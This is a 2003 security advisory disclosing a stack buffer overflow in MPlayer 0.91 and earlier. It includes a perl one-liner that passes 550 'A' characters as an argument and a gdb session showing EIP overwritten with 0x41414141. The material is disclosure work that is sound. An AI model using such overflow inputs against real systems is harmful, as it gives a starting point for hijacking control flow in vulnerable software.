02 - Stack Buffer Overflow on MPlayer v0.91 and previous, for Linux

eZine lover (@eZine)

Published in 

Advisory

 · 1 year ago

No System Group - Advisory #02 - 01/09/03

• Program: MPlayer - The Movie Player for Linux
• Homepage: http://www.mplayerhq.hu
• Vulnerable Versions: Mplayer v0.91 and prior
• Risk: Low / Medium
• Impact: Stack Buffer Overflow

DESCRIPTION

MPlayer is a movie player for LINUX (runs on many other Unices, and non-x86 CPUs, see the documentation).
It plays most MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, YUV4MPEG, FILM, RoQ, PVA files, supported by many native, XAnim, and Win32 DLL codecs.

More informations at: http://www.mplayerhq.hu

DETAILS

bash-2.05b$ gmplayer `perl -e 'print "A" x 550'` 
Using GNU internationalization 
Original domain: messages 
Original dirname: /usr/share/locale 
Current domain: mplayer 
Current dirname: /usr/local/share/locale

Playing

'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'

File not found:

'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'

MPlayer interrupted by signal 11 in module: unknown

• MPlayer crashed by bad usage of CPU/FPU/RAM. Recompile MPlayer with --enable-debug and make a 'gdb' backtrace and disassembly. For details, see DOCS/bugreports.html#crash.b.
• MPlayer crashed. This shouldn't happen. It can be a bug in the MPlayer code _or_ in your drivers _or_ in your gcc version. If you think it's MPlayer's fault, please read DOCS/bugreports.html and follow the instructions there. We can't and won't help unless you provide this information when reporting a possible bug.

Now we proceed to open gdb to view what may have occured.

$gdb gmplayer 
GNU gdb 5.3 
Copyright 2002 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. 
This GDB was configured as "i386-slackware-linux"... 
(no debugging symbols found)... 
(gdb) r `perl -e 'print "A" x 550'` 
Starting program: /usr/local/bin/gmplayer ` perl -e 'print "A" x 550'` 
(no debugging symbols found)...(no debugging symbols found)... 
(no debugging symbols found)...[New Thread 16384 (LWP 2044)] 
Using GNU internationalization 
Original domain: messages 
Original dirname: /usr/share/locale 
Current domain: mplayer 
Current dirname: /usr/local/share/locale 

MPlayer 0.90rc5-3.2.2 (C) 2000-2003 Arpad Gereoffy (see DOCS) 

Playing 
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA' 
File not found: 
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA' 

Program received signal SIGSEGV, Segmentation fault. 
[Switching to Thread 16384 (LWP 2044)] 
0x41414141 in ?? () 
(gdb) i r ebp eip esp 
ebp            0x41414141       0x41414141 
eip            0x41414141       0x41414141 
esp            0xbfffd0b0       0xbfffd0b0 
(gdb)

Tested in Slackware Linux 9.0

NOTE: The program 'gmplayer' isn't SUID by default.

SOLUTIONS

Update the program to latest version

REFERENCES

http://www.nosystem.com.ar/advisories/advisory-02.txt

CREDITS

Discovered by CoKi <coki@interlap.com.ar>

No System Group - http://www.nosystem.com.ar